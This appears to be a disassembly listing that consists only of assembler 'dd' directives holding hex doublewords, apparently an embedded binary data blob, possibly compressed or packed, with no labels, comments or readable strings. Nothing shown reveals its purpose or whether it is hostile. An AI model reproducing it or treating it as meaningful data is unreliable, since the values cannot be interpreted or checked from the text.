dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
dd 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h
dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh
dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h
dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
dd 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h
dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h
dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h
dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
dd 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h, 0A6B01E5Fh
dd 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h, 86202F71h
dd 0D94161h, 7BDB2529h, 676F881h, 35A85500h, 75AE2638h
dd 0CB450093h, 1834EA74h
dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
dd 1B3BC13h, 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h
dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh
dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h
dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h
dd 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h
dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh
dd 9160C0h, 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h
dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh, 34B264ABh
dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h
dd 565B5A02h, 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h
dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh
dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh
dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
dd 500EB3Bh, 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h
dd 0EE063Ch, 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h
dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h
dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h
dd 8F200DBh, 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h
dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h
dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h
dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h
dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
dd 8BECF4h, 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h
dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
dd 8C5B015Fh, 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h
dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh
dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h, 91DC45C9h
dd 804D073Bh, 8A032D2h, 7C701094h, 0E4A82C5Ch, 85E80085h
dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah, 22F86Ch
dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
dd 542DF450h, 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h
dd 2B610B8Bh, 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h
dd 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh
dd 7D549D00h
dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h
dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch
dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h
dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h
dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
dd 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h
dd 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh
dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
dd 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h, 67D38600h
dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
dd 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h
dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h
dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah
dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h
dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh
dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h
dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h
dd 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h
dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
dd 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h
dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh
dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h
dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh
dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h
dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch
dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
dd 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h
dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
dd 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h
dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h
dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h
dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh
dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
dd 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h
dd 4301200h, 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h
dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h
dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
dd 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h
dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h
dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h
dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h
dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h
dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h
dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h, 2E03117h
dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h
dd 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h
dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h
dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h
dd 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h, 54770271h
dd 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h, 4409F806h
dd 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h, 64C4A030h
dd 0FA88E66Fh, 80330031h
dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h
dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h
dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h
dd 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh
dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h
dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h
dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h
dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h
dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
dd 3E07A01h, 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h
dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
dd 0C5812Ah, 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh
dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
dd 342200A6h, 46A2F82h, 8800A495h, 4178C646h, 91085B8h
dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h
dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h
dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h
dd 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h
dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h
dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h, 6CC00123h
dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
dd 3FE03B18h, 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh
dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh
dd 311E95h, 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh
dd 0EA9AAC55h, 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h
dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh
dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h
dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh
dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h
dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h
dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh
dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh
dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
dd 0A8F61Eh, 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh
dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h
dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h
dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h
dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
dd 710D638h, 8478C337h, 43126CFCh, 7C00CF47h, 0D50D8708h
dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
dd 2341B6Ah, 63E90205h, 0BB198C6Eh, 44B0D5C0h, 0F8010803h
dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
dd 0E485D3h, 2A4C8A18h, 1F20EA8Dh, 40F608B3h, 420490EFh
dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh
dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h, 6122E02Bh
dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h, 0A0E50045h
dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh, 401FB42Ah
dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
dd 7FF9083h, 1D100518h, 0AD21F088h, 39E024F9h, 46D4D00Fh
